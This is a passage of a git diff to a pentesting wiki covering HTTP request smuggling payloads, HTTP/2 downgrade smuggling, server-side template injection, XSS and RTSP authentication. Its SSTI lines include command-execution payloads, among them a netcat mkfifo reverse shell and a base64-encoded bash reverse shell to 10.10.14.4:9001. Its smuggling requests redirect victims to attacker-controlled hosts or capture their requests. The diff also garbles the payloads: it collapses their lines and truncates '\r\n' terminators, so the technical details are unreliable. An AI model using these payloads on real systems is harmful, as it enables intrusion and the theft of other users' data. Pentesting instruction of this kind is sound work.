`).
### TE.CL vulnerabilities
@@ -67,21 +65,14 @@ Here, the front-end server uses the `Transfer-Encoding` header and the back-end
`Content-Length: 4`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
-``\
-`7b`\
-`GET /404 HTTP/1.1`\
-`Host: vulnerable-website.com`\
-`Content-Type: application/x-www-form-urlencoded`\
-`Content-Length: 30`\
-``\
+``\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\``\
`x=`\
`0`\
-``\
-``
+`\`
-In this case the **reverse-proxy** will **send the hole request** to the **back-end** as the **`Transfer-encoding`** indicates so. But, the **back-end** is going to **process** only the **`7b\r\n`** (4bytes) as indicated in the `Content-Lenght` .Therefore, the next request will be the one starting by `GET /404 HTTP/1.1`
+In this case the **reverse-proxy** will **send the hole request** to the **back-end** as the **`Transfer-encoding`** indicates so. But, the **back-end** is going to **process** only the **`7b\r`** (4bytes) as indicated in the `Content-Lenght` .Therefore, the next request will be the one starting by `GET /404 HTTP/1.1`
-_Note that even if the attack must end with a `0\r\n\r\n` the following request is going to be appended as extra values of the **x** parameter._\
+_Note that even if the attack must end with a `0\r\n\r` the following request is going to be appended as extra values of the **x** parameter._\
_Also note that the Content-Length of the embedded request will indicate the length of the next request that is going to b appended to the **x** parameter. If it's too small, only a few bytes will be appended, and if to large (bigger that the length of the next request) and error will be thrown for the next request._
### TE.TE vulnerabilities
@@ -90,21 +81,14 @@ Here, the front-end and back-end servers both support the `Transfer-Encoding` he
There are potentially endless ways to obfuscate the `Transfer-Encoding` header. For example:
`Transfer-Encoding: xchunked`\
-``\
-`Transfer-Encoding : chunked`\
-``\
+``\ `Transfer-Encoding : chunked`\``\
`Transfer-Encoding: chunked`\
`Transfer-Encoding: x`\
-``\
-`Transfer-Encoding: chunked`\
-`Transfer-encoding: x`\
-``\
+``\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\``\
`Transfer-Encoding:[tab]chunked`\
-``\
-`[space]Transfer-Encoding: chunked`\
-``\
+``\ `[space]Transfer-Encoding: chunked`\``\
`X: X[\n]Transfer-Encoding: chunked`\
-``\
+\`\`\
`Transfer-Encoding`\
`: chunked`
@@ -121,7 +105,7 @@ If an application is vulnerable to the CL.TE variant of request smuggling, then
`Transfer-Encoding: chunked`\
`Connection: keep-alive`\
`Content-Length: 4`\
-``\
+\`\`\
`1`\
`A`\
`0`
@@ -145,9 +129,7 @@ If an application is vulnerable to the TE.CL variant of request smuggling, then
`Transfer-Encoding: chunked`\
`Connection: keep-alive`\
`Content-Length: 6`\
-``\
-`0`\
-``\
+``\ `0`\``\
`X`
Since the front-end server uses the `Transfer-Encoding` header, it will forward only part of this request, omitting the `X`. The back-end server uses the `Content-Length` header, expects more content in the message body, and waits for the remaining content to arrive. This will cause an observable time delay.
@@ -197,13 +179,11 @@ Some times the **front-end proxies will perform some security checks**. You can
`Content-Type: application/x-www-form-urlencoded`\
`Content-Length: 67`\
`Transfer-Encoding: chunked`\
-``\
-`0`\
-``\
+``\ `0`\``\
`GET /admin HTTP/1.1`\
`Host: localhost`\
`Content-Length: 10`\
-``\
+\`\`\
`x=`
#### TE.CL
@@ -220,8 +200,7 @@ Some times the **front-end proxies will perform some security checks**. You can
`Host: localhost`\
`a=x`\
`0`\
-``\
-``
+`\`
### Revealing front-end request rewriting
@@ -237,18 +216,13 @@ For discovering how is the proxy rewriting the request you need to **find a POST
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
`0`\
-``\
-`POST /search HTTP/1.1`\
-`Host: vulnerable-website.com`\
-`Content-Type: application/x-www-form-urlencoded`\
-`Content-Length: 100`\
-``\
+``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
`search=`
In this case the next request will be appended after `search=` which is also **the parameter whose value is going to be reflected** on the response, therefore it's going to **reflect the headers of the next request**.
Note that **only the length indicated in the `Content-Length` header of the embedded request is going to be reflected**. If you use a low number, only a few bytes will be reflected, if you use a bigger number than the length of all the headers, then the embedded request will throw and error. Then, you should **start** with a **small number** and **increase** it until you see all you wanted to see.\
-Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n\r\n`. However, independently of the new line characters the values are going to be appended to the search parameter.
+Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n\r`. However, independently of the new line characters the values are going to be appended to the search parameter.
Finally note that in this attack we are still attacking ourselves to learn how the front-end proxy is rewriting the request.
@@ -263,22 +237,20 @@ If you can find a POST request which is going to save the contents of one of the
`Connection: keep-alive`\
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
`Transfer-Encoding: chunked`\
-``\
-`0`\
-``\
+``\ `0`\``\
`POST /post/comment HTTP/1.1`\
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
`Content-Length: 659`\
`Content-Type: application/x-www-form-urlencoded`\
`Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi`\
-``\
+\`\`\
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
In this case, the value of the **parameter comment** is going to be **saved inside a comment** of a post in the page that is **publicly available**, so a **comment will appear with the content of the next request**.
_One limitation with this technique is that it will generally only capture data up until the parameter delimiter that is applicable for the smuggled request. For URL-encoded form submissions, this will be the `&` character, meaning that the content that is stored from the victim user's request will end at the first `&`, which might even appear in the query string._
-Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n\r\n`. However, independently of the new line characters the values are going to be appended to the search parameter.
+Note also that this **technique is also exploitable with a TE.CL** vulnerability but the request must end with `search=\r\n0\r\n\r`. However, independently of the new line characters the values are going to be appended to the search parameter.
### Using HTTP request smuggling to exploit reflected XSS
@@ -297,15 +269,13 @@ If a web is vulnerable to Reflected XSS on the User-Agent header you can use thi
`Connection: keep-alive`\
`Content-Length: 213`\
`Content-Type: application/x-www-form-urlencoded`\
-``\
-`0`\
-``\
+``\ `0`\``\
`GET /post?postId=2 HTTP/1.1`\
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
`User-Agent: ">`\
`Content-Length: 10`\
`Content-Type: application/x-www-form-urlencoded`\
-``\
+\`\`\
`A=`
### Using HTTP request smuggling to turn an on-site redirect into an open redirect
@@ -314,7 +284,7 @@ Many applications perform on-site redirects from one URL to another and place th
`GET /home HTTP/1.1`\
`Host: normal-website.com`\
-``\
+\`\`\
`HTTP/1.1 301 Moved Permanently`\
`Location: https://normal-website.com/home/`
@@ -325,9 +295,7 @@ This behavior is normally considered harmless, but it can be exploited in a requ
`Content-Length: 54`\
`Connection: keep-alive`\
`Transfer-Encoding: chunked`\
-``\
-`0`\
-``\
+``\ `0`\``\
`GET /home HTTP/1.1`\
`Host: attacker-website.com`\
`Foo: X`
@@ -338,7 +306,7 @@ The smuggled request will trigger a redirect to the attacker's website, which wi
`Host: attacker-website.com`\
`Foo: XGET /scripts/include.js HTTP/1.1`\
`Host: vulnerable-website.com`\
-``\
+\`\`\
`HTTP/1.1 301 Moved Permanently`\
`Location: https://attacker-website.com/home/`
@@ -360,19 +328,17 @@ In this example it's going to be shown how you can exploit a **cache poisoning +
`Connection: keep-alive`\
`Content-Length: 124`\
`Transfer-Encoding: chunked`\
-``\
-`0`\
-``\
+``\ `0`\``\
`GET /post/next?postId=3 HTTP/1.1`\
`Host: attacker.net`\
`Content-Type: application/x-www-form-urlencoded`\
`Content-Length: 10`\
-``\
+\`\`\
`x=1`
Note how the embedded request is asking for `/post/next?postId=3` This request is going to be redirected to `/post?postId=4` and **will use the value of the Host header** to indicate the domain. Therefore, you can **modify the Host header** to point the attackers server and the redirect will use that domain (**on-site redirect to open redirect**).
-Then, **after poisoning the socket**, you need to send a **GET request** to **`/static/include.js`**this request will be **poisoned** by the **on-site redirect to open redirect** request and will **grab the contents of the attacker controlled script**.
+Then, **after poisoning the socket**, you need to send a **GET request** to \*\*`/static/include.js`\*\*this request will be **poisoned** by the **on-site redirect to open redirect** request and will **grab the contents of the attacker controlled script**.
The next time that somebody ask for `/static/include.js` the cached contents of the attackers script will be server (general XSS).
@@ -390,9 +356,7 @@ In this variant, the attacker smuggles a request that returns some sensitive use
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
-``\
-`0`\
-``\
+``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
diff --git a/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md b/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
index f60c85c1c..7d2d7b7b9 100644
--- a/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
+++ b/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades.md
@@ -40,7 +40,7 @@ In this case **the header Transfer-Encoding was injected**.
### H2.TE via Header Name Injection
-HTTP/2 on some servers lets you put a **colon in the header name, and with a \r\n** you can inject a new header inside the header name like this:
+HTTP/2 on some servers lets you put a **colon in the header name, and with a \r** you can inject a new header inside the header name like this:
![](<../../.gitbook/assets/image (632) (1).png>)
diff --git a/pentesting-web/ssti-server-side-template-injection/README.md b/pentesting-web/ssti-server-side-template-injection/README.md
index b2769a370..75d4c3209 100644
--- a/pentesting-web/ssti-server-side-template-injection/README.md
+++ b/pentesting-web/ssti-server-side-template-injection/README.md
@@ -247,6 +247,7 @@ New version of Pebble :
{% endraw %}
+
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
@@ -315,6 +316,7 @@ Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discove
//It was also possible to call methods on the created object by combining the
+
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
@@ -595,6 +597,7 @@ Check out the following page to learn tricks about **arbitrary command execution
{% import os %}
{% endraw %}
+
{{os.system('whoami')}}
```
@@ -623,6 +626,7 @@ Check out the following page to learn tricks about **arbitrary command execution
{% endraw %}
+
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
@@ -652,10 +656,12 @@ If the Debug Extension is enabled, a \`
```python
+
{% raw %}
{% debug %}
{% endraw %}
+
```
@@ -736,6 +742,7 @@ More:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc >/tmp/f')|attr('read')()}}
+
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md
index 62c588464..ba1832594 100644
--- a/pentesting-web/xss-cross-site-scripting/README.md
+++ b/pentesting-web/xss-cross-site-scripting/README.md
@@ -97,7 +97,7 @@ Some **examples**:
When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
-_**Note: A HTML comment can be closed using**** ****`-->`**** ****or**** ****`--!>`**_
+_**Note: A HTML comment can be closed using\*\*\*\***** ****`-->`**** ****or \*\*\*\*****`--!>`**_
In this case and if no black/whitelisting is used, you could use payloads like:
diff --git a/pentesting/554-8554-pentesting-rtsp.md b/pentesting/554-8554-pentesting-rtsp.md
index f8ca1b1f1..6d3833c87 100644
--- a/pentesting/554-8554-pentesting-rtsp.md
+++ b/pentesting/554-8554-pentesting-rtsp.md
@@ -23,7 +23,7 @@ First and foremost RTSP is an HTTP like protocol. It has different structure and
RTSP can be accessed unauthenticated (common in off-the-shelf devices) or authenticated. Authenticated access mirrors HTTP in that you have Basic and Digest authentication, both nearly identical to HTTP. To find out whether your device is authenticated or unauthenticated, simply send a “DESCRIBE” request. A simple DESCRIBE request looks like:
-`DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\n`
+`DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r`
Note: the additional “\r\n” is required for reliable response. Some systems will accept the single “\r\n” but most won’t.
@@ -37,7 +37,7 @@ Basic authentication is the way to go, hopefully the response received indicates
To formulate a Basic authentication element, one simple has to base 64 encode \ “:” \ and add it to the request. So a new request would look like:
-`DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n`
+`DESCRIBE rtsp://: RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r`
Again note the request is terminated with the double “\r\n”.
diff --git a/pentesting/pentesting-web/wordpress.md b/pentesting/pentesting-web/wordpress.md
index 1592d4ef4..12102bce1 100644
--- a/pentesting/pentesting-web/wordpress.md
+++ b/pentesting/pentesting-web/wordpress.md
@@ -187,7 +187,7 @@ It is recommended to disable Wp-Cron and create a real cronjob inside the host t
```
-![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1).png>)
+![](<../../.gitbook/assets/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1).png>)
![](<../../.gitbook/assets/image (102).png>)